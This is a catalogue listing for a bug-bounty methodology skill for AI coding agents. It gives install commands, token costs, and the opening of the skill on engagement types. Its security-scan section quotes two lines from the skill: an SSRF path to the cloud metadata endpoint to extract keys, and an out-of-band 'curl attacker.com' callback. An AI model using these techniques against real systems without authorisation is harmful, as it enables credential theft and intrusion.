bb-methodology

bb-methodology is a skill for Claude Code, Codex from adriannoes/awesome-agentic-ai. It costs 90 tokens per session (7,313 once invoked), scanned C, a copy of bb-methodology, MIT.

A bug-bounty workflow and thinking guide for deciding what to test, how to investigate it, and what counts as a valid finding. Bug bounties are programs where organizations pay researchers for responsibly reported security bugs.

In plain words
What is it for?
It is for starting or changing hunting sessions, choosing tests, examining unusual behavior, and adapting the investigation to a bug bounty, red-team, or penetration-testing engagement.
Why use it?
It gives a structured way to choose the right approach for a target and avoid spending time on issues the program will reject.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for starting or changing hunting sessions, choosing tests, examining unusual behavior, and adapting the investigation to a bug bounty, red-team, or penetration-testing engagement.

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Install with agentmods
npx agentmods add skills/adriannoes/awesome-agentic-ai/bb-methodology
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add adriannoes/awesome-agentic-ai --skill bb-methodology
Clone the repo
git clone --depth 1 https://github.com/adriannoes/awesome-agentic-ai

Made for: Claude Code, Codex.

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Per session 90 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,313 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00090 $0.07313
Opus 5 $0.00045 $0.03657
Sonnet 5 $0.00018 $0.01463
Haiku 4.5 $0.00009 $0.00731

Measured 6d ago against content hash 437537867336, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade C, and why

bb-methodology scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

| +-- Can reach 169.254.169.254? -> Extract keys -> RCE

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

3. No time diff? OOB (`curl attacker.com`, interactsh) -- watch for DNS callback
Origin

This is a copy

100% identical to bb-methodology — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

cursor-claude-codex/skills/bug-hunter/skills/bb-methodology/SKILL.md · 513 lines

How it starts

The opening of the file, as written. The whole thing — 513 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Bug Bounty Methodology: Workflow + Mindset

Master orchestrator for hunting sessions. Combines the 5-phase non-linear workflow with the critical thinking framework that separates top 1% hunters from the rest.


PART 0: MODE CONFIRMATION (Before Anything Else)

Confirm the engagement type before deciding what counts as a finding. The same target produces a different report shape depending on which mode applies. Getting this wrong is the single biggest waste of time in this workflow — answer it explicitly before Phase 0.

Engagement type What counts as a finding What gets rejected
Bug bounty (H1 / Bugcrowd / Intigriti / private VDP) Impact-demonstrated bugs ONLY. Full chain to attacker-attainable harm. Hygiene (EoL software alone, permissive CSP alone, stack traces, info disclosure without concrete impact, "best practice" violations)
Red team (external client engagement) Hygiene findings + recon + IoCs + defensive-state observations are ALL deliverables Nothing — even "no finding here" is reportable as a positive defensive observation
Pentest (signed SoW / WAPT) Depends on SoW. Read scope explicitly. Usually accepts hygiene + impact + recon Out-of-scope assets, unsigned testing
Internal audit Compliance-mapped findings (PCI / ISO / NIST / DPDPA / GDPR) Findings without a control-mapping

Hard rule: Before Phase 0 runs, write the engagement type as the first line in your hunt notes. If you can't answer it from the user's instruction, ASK once. Don't assume — the mistake costs both you and the triager.

Lesson from an authorized engagement: First-pass on this target produced 5 hygiene findings (SP2013 EoL, permissive CSP, stack traces) shipped in red-team format. The engagement was bug-bounty. Findings would have been N/A'd as "informational, no impact demonstrated." After the corrected pass with hygiene-as-context-not-finding, the same target yielded 11 impact-demonstrated bugs including 3 Critical.

Read the full file on GitHub · 513 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 513 lines · 90 tokens per session scan C 437537867336

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bb-methodology is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 12d ago), licensed MIT. It adds 90 tokens to every session and 7,313 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to bb-methodology, differing in 1 line, and is treated as a copy.

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